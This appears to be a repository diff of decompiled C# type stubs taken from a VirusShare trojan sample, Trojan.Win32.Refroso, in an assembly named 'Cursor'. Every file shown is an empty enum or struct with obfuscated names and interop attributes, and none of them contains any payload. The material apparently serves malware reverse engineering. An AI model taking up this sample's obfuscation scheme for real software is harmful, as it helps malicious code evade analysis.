// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0097
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u009C
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u00A0
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.§
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u00A7
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.«
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u00AB
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.³
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u00B3
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¹
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u00B9
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Â
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081Â
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ç
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081Ç
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081Î
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Õ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081Õ
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ü
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081Ü
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ã
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081ã
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.æ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 532)]
|
||||
internal struct \u0081æ
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ì
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081ì
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ò
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081ò
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081ù
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u0084
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 544)]
|
||||
internal struct \u0082\u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u008A
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0082\u008E
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u0094
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u0095
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[UnsafeValueType]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 64)]
|
||||
internal struct \u0082\u009A
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¢
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u00A2
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¥
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 224)]
|
||||
internal struct \u0082\u00A5
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¦
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0082\u00A6
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.§
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 248)]
|
||||
internal struct \u0082\u00A7
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¨
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0082\u00A8
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.©
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0082\u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user